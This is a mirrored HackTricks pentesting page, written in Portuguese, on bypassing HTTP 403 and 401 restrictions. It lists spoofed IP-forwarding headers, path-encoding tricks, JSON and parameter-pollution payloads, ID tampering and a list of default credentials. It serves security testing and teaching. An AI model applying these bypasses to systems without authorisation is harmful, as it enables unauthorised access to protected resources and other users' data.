mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
5.9 KiB
Markdown
119 lines
5.9 KiB
Markdown
# 403 & 401 Bypasses
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## HTTP Verbs/Methods Fuzzing
|
||
|
||
Tente usar **diferentes verbos** para acessar o arquivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||
|
||
- Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma **resposta 200** para **HEAD** com `Content-Length: 55` significa que o **verbo HEAD pode acessar a informação**. Mas você ainda precisa encontrar uma maneira de exfiltrar essa informação.
|
||
- Usar um cabeçalho HTTP como `X-HTTP-Method-Override: PUT` pode sobrescrever o verbo usado.
|
||
- Use o verbo **`TRACE`** e, se você tiver muita sorte, talvez na resposta você também possa ver os **cabeçalhos adicionados por proxies intermediários** que podem ser úteis.
|
||
|
||
## HTTP Headers Fuzzing
|
||
|
||
- **Mude o cabeçalho Host** para algum valor arbitrário ([que funcionou aqui](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||
- Tente [**usar outros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acessar o recurso.
|
||
- **Fuzz HTTP Headers**: Tente usar **Headers** de Proxy HTTP, autenticação HTTP básica e NTLM brute-force (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, eu criei a ferramenta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||
|
||
- `X-Originating-IP: 127.0.0.1`
|
||
- `X-Forwarded-For: 127.0.0.1`
|
||
- `X-Forwarded: 127.0.0.1`
|
||
- `Forwarded-For: 127.0.0.1`
|
||
- `X-Remote-IP: 127.0.0.1`
|
||
- `X-Remote-Addr: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `X-Original-URL: 127.0.0.1`
|
||
- `Client-IP: 127.0.0.1`
|
||
- `True-Client-IP: 127.0.0.1`
|
||
- `Cluster-Client-IP: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `Host: localhost`
|
||
|
||
Se o **caminho estiver protegido**, você pode tentar contornar a proteção do caminho usando esses outros cabeçalhos:
|
||
|
||
- `X-Original-URL: /admin/console`
|
||
- `X-Rewrite-URL: /admin/console`
|
||
|
||
- Se a página estiver **atrás de um proxy**, talvez seja o proxy que está impedindo você de acessar as informações privadas. Tente abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **ou** [**cabeçalhos hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||
- Fuzz [**cabeçalhos HTTP especiais**](special-http-headers.md) procurando por diferentes respostas.
|
||
- **Fuzz cabeçalhos HTTP especiais** enquanto fuzzing **HTTP Methods**.
|
||
- **Remova o cabeçalho Host** e talvez você consiga contornar a proteção.
|
||
|
||
## Path **Fuzzing**
|
||
|
||
Se _/path_ estiver bloqueado:
|
||
|
||
- Tente usar `/%2e/path` (se o acesso estiver bloqueado por um proxy, isso pode contornar a proteção). Tente também `/%252e**/path` (dupla codificação de URL)
|
||
- Tente **bypass Unicode**: _/**%ef%bc%8f**path_ (Os caracteres codificados em URL são como "/") então, quando codificados de volta, será _//path_ e talvez você já tenha contornado a verificação do nome _/path_
|
||
- **Outros bypasses de caminho**:
|
||
- site.com/secret –> HTTP 403 Forbidden
|
||
- site.com/SECRET –> HTTP 200 OK
|
||
- site.com/secret/ –> HTTP 200 OK
|
||
- site.com/secret/. –> HTTP 200 OK
|
||
- site.com//secret// –> HTTP 200 OK
|
||
- site.com/./secret/.. –> HTTP 200 OK
|
||
- site.com/;/secret –> HTTP 200 OK
|
||
- site.com/.;/secret –> HTTP 200 OK
|
||
- site.com//;//secret –> HTTP 200 OK
|
||
- site.com/secret.json –> HTTP 200 OK (ruby)
|
||
- Use toda [**essa lista**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) nas seguintes situações:
|
||
- /FUZZsecret
|
||
- /FUZZ/secret
|
||
- /secretFUZZ
|
||
- **Outros bypasses de API:**
|
||
- /v3/users_data/1234 --> 403 Forbidden
|
||
- /v1/users_data/1234 --> 200 OK
|
||
- {“id”:111} --> 401 Unauthriozied
|
||
- {“id”:\[111]} --> 200 OK
|
||
- {“id”:111} --> 401 Unauthriozied
|
||
- {“id”:{“id”:111\}} --> 200 OK
|
||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (Poluição de Parâmetro JSON)
|
||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Poluição de Parâmetro)
|
||
|
||
## **Parameter Manipulation**
|
||
|
||
- Mude **o valor do param**: De **`id=123` --> `id=124`**
|
||
- Adicione parâmetros adicionais à URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||
- Remova os parâmetros
|
||
- Reordene os parâmetros
|
||
- Use caracteres especiais.
|
||
- Realize testes de limite nos parâmetros — forneça valores como _-234_ ou _0_ ou _99999999_ (apenas alguns valores de exemplo).
|
||
|
||
## **Protocol version**
|
||
|
||
Se estiver usando HTTP/1.1 **tente usar 1.0** ou até mesmo teste se **suporta 2.0**.
|
||
|
||
## **Other Bypasses**
|
||
|
||
- Obtenha o **IP** ou **CNAME** do domínio e tente **contatá-lo diretamente**.
|
||
- Tente **estressar o servidor** enviando solicitações GET comuns ([Funcionou para esse cara com o Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||
- **Mude o protocolo**: de http para https, ou de https para http
|
||
- Vá para [**https://archive.org/web/**](https://archive.org/web/) e verifique se no passado aquele arquivo estava **acessível mundialmente**.
|
||
|
||
## **Brute Force**
|
||
|
||
- **Adivinhe a senha**: Teste as seguintes credenciais comuns. Você sabe algo sobre a vítima? Ou o nome do desafio CTF?
|
||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Tente autenticação básica, digest e NTLM.
|
||
```:Common creds
|
||
admin admin
|
||
admin password
|
||
admin 1234
|
||
admin admin1234
|
||
admin 123456
|
||
root toor
|
||
test test
|
||
guest guest
|
||
```
|
||
## Ferramentas Automáticas
|
||
|
||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|